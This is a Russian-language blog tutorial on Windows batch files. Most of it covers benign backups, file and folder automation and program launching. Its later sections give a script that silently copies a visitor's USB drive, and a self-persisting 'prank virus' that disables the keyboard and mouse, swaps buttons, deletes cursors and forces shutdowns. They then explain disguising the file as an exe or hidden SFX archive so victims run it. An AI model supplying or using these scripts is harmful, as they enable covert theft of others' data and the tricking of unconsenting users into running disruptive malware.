**Пакетные файлы (bat, батники) Windows**

Сегодня: 29.03.2017, Среда

[Нет комментариев](http://miradmin.ru/batch-file/#respond)

**Содержание статьи:**

[— Вместо вступления. Что такое «батник»](http://miradmin.ru/batch-file/#1)[— Основные моменты при создании bat-файлов](http://miradmin.ru/batch-file/#2)[— Синтаксис при написании bat-файлов](http://miradmin.ru/batch-file/#3)[— Резервное копирование при помощи батников](http://miradmin.ru/batch-file/#4)[— Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов](http://miradmin.ru/batch-file/#5)[— Прочие возможности bat-файлов](http://miradmin.ru/batch-file/#6)[— Хитрости или шутки в сторону](http://miradmin.ru/batch-file/#7)[— Упаковка исполнительного файла](http://miradmin.ru/batch-file/#8)[— Вместо заключения](http://miradmin.ru/batch-file/#9)

**Вместо вступления. Что такое «батник»**

**Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС**

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.  
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых *батников*.

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

**ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….**

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть первая. Основные моменты при создании bat-файлов**

* Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение \*.bat, так и \*.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
* По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
* Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
* Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке **help**, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
* Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть вторая. Синтаксис при написании bat-файлов**

* Каждая команда вводится с новой строчки;
* Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
* Комментарии в пакетный файл могут быть добавлены двумя способами:  
  — либо после двух двоеточий **::переход к части копирования**— либо при помощи команды **goto**, т.е. вводится команда **goto**, потом место для перехода, а между ними сам комментарий
* goto begin
* ----------------------------------------
* Это батник служит для резервного копирования дипломной работы
* ----------------------------------------

begin

* Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ **copy /Y**Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса **dir /?**
* Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки **@**, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать **@echo off**здесь команда **echo off** скрывает окна, а собачка впереди неё запрещает отображение выполнения самой **echo off**
* Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
* По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой **chcp 1251**
* Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой **|Y|del**
* В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь **cd %APPDATA%**

**Приступим….**

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть третья. Резервное копирование при помощи батников**

Резервное копирование данных — полезное и оттого весьма распространенное *явление*. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

**Автоматическое копирование каталогов в папку backup**

Для копирования каких-либо данных используется команда **copy** (копирование файла/файлов) или **xcopy** (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).  
В этом случае текст будет следующим

@echo off

chcp 1251

xcopy "D:\diplom\\*.\*" "E:\backup\diplom\\*.\*"

Где **D:\diplom\** — папка расположения всех материалов к диплому, а **E:\backup\diplom\** — конечная директория резервной копии.  
Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке **diplom\_old**, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off

chcp 1251

del "E:\backup\diplom\_old\" /s /q

rmdir "E:\backup\diplom\_old\" /s /q

rename "E:\backup\diplom\" "diplom\_old"

xcopy "D:\diplom\\*.\*" "E:\backup\diplom\\*.\*"

**del** удаляет ранее созданную вторую рк.  
**rmdir** переименовывает первую рк во вторую.  
**xcopy** создаёт новую рк.  
Атрибут **/s** применяет команду ко всем подкаталогам, атрибут **/q** отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off

chcp 1251

xcopy "D:\diplom\\*.\*" "E:\backup\diplom\\*.\*" /E /F /H /R /K /Y /D

**Создание бэкапа в архиве**

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве  
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.  
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off

chcp 1251

c:\PROGRA~1\WinRAR\WinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:\backup\" "D:\diplom\"

Архив папки **D:\diplom** будет создаваться в **E:\backup**, именем будет дата и время создания архива, т.е., например **16-Aug-12–14-06-53**

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов**

**Как создать папку из батника**

Начнём с самого простого. Создание папки. Папка создаётся командой **MD**  
Чтобы создать папку с именем **backup** в корне диска D:\, нам необходимо собрать следующего вида пакетный файл

@echo off

chcp 1251

MD "D:\backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off

chcp 1251

set datetemp=%date:~-10%

MD "C:\%datetemp%"

Здесь строчкой **set datetemp=%date:~-10%** мы создаём переменную **datatemp** на время работы батника и присваиваем ей 10 символов значения системной даты;

**Как создать текстовый файл из батника**

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением **nul** (это даже не нулевое значение, а его отсутствие)

@echo off

chcp 1251

copy nul "имя\_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off

chcp 1251

set datetemp=%date:~-10%

copy nul "%datetemp%".txt

**Автоматическая очистка папки из батника**

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off

chcp 1251

cd C:\Windows\Temp\

echo Y|del \*.\*

Строчкой **cd «C:\Windows\Temp\»** мы переходим в папку **temp**  
Строкой **echo Y|del \*.\*** удаляем содержимое этой папки (не саму папку!)

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть пятая. Прочие возможности bat-файлов**

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

**Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл**

@echo off

chcp 1251

dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик *file.txt*, содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off

chcp 1251

dir /S "c:\" >"X:\file.txt"

**/S** заставит батник показать содержимое не только каталога, но и всех подкаталогов.  
**c:\** поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.  
**X:\file.txt** сохранит конечный файл со списком содержимого в указанное нами место;

**Запуск файлов из командной строки**

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)  
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: [Автозагрузка. Добавление приложений в автозагрузку Windows](http://miradmin.ru/add-startup/))  
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off

chcp 1251

"c:\Документы\напоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off

chcp 1251

calc

При выполнении этого батника откроется калькулятор. В данном случае строчку **chcp 1251** можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть шестая. Хитрости или шутки в сторону**

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

**Шпионские штучки. Похищаем содержимое флешки**

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off

:test

if exist g:\ goto go

goto test

:go

xcopy "G:\\*.\*" "C:\упс\\*.\*"

Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.  
**:test** обозначает начало действия батника  
**if exist g:\ goto go** проверяет наличие в компьютере диска **G:\**, если он есть, то переходим к части **:go** (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо **G:\**)  
**goto test** если диск **G:\** не был найден, возвращаемся к началу части **:test**  
**:go** обозначает начало действия второй части батника  
**xcopy «G:\\*.\*» «C:\упс\\*.\*»** копирует всё содержимое диска **G:\** в папку **упс** на диске **C:\**  
Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько **плюшек**, с помощью которых можно подшутить над другом/подругой….

**Маленький вирус в автозагрузку**

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:\"documents and settings"\"all users"\"главное меню"\программы\автозагрузка

copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup

Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем **%USERPROFILE%\»Главное меню»\Программы\Автозагрузка\**)  
Вторая строка добавляет файл в автозагрузку для Windows 7.

Начало обеих строк в виде **copy %0** означает копирование «самого себя».  
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»  
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse

echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js

start %temp%mes.js

deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse

echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse

start %temp%mes.jse

deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg \* "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.  
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

**%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul** — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. *Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт* ***мышь*** *и там инвертируем галочку в поле* ***обменять назначение кнопок****….*

Команда **rundll32 keyboard, disable** отключит клавиатуру вплоть ***до следующей перезагрузки***, а **rundll32 mouse, disable** то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

**rundll32 shell32, SHExitWindowsEx 1** — выключит ПК.

**rundll32 shell32, SHExitWindowsEx 2** — перезагрузит ПК.

**rundll32 url.dll, FileProtocolHandler** [**https://ya.ru/**](https://ya.ru/) — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо **ya.ru**, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и **del «%SystemRoot%Cursors\*.\*» >nul** удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off

chcp 1251

rundll32 keyboard, disable

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

copy %0 c:\"documents and settings"\"all users"\"главное меню"\программы\автозагрузка

copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup

rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); >

%temp%mes.js

echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js

start %temp%mes.js

deltree /y %temp%mes.js

[к содержанию](http://miradmin.ru/batch-file/#s)

**Часть седьмая. Упаковка исполнительного файла**

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

**Программный способ упаковки батников**

* + конвертировать bat-файл в \*.exe при помощи какой-нибудь утилитки (например, **bat to exe**)
  + создать sfx-архив.

**Упаковка батников в SFX-архив**

Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.  
— Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).  
— Создаём нужный нам пакетный файл (батник).  
— Кликаем правой кнопочкой по батнику, выбираем из контекстного меню **WinRAR** => **Добавить в архив** (дальше по вкладкам)  
— Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив **Создать SFX-архив**.  
— Дополнительно. Жмём на кнопочку **Параметры SFX…** Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например **Restorator**.  
— На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку **ОК**. В исходной папке с батником появится ещё и наш новый sfx-архив.  
— Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.  
— В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем

call sled.bat

Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием **sled.bat**, а затем вернётся к исходному.  
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

start sled.bat

[к содержанию](http://miradmin.ru/batch-file/#s)

**Вместо заключения**

Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — *бесконечное* множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….

**Будьте осторожны и удачных вам экспериментов**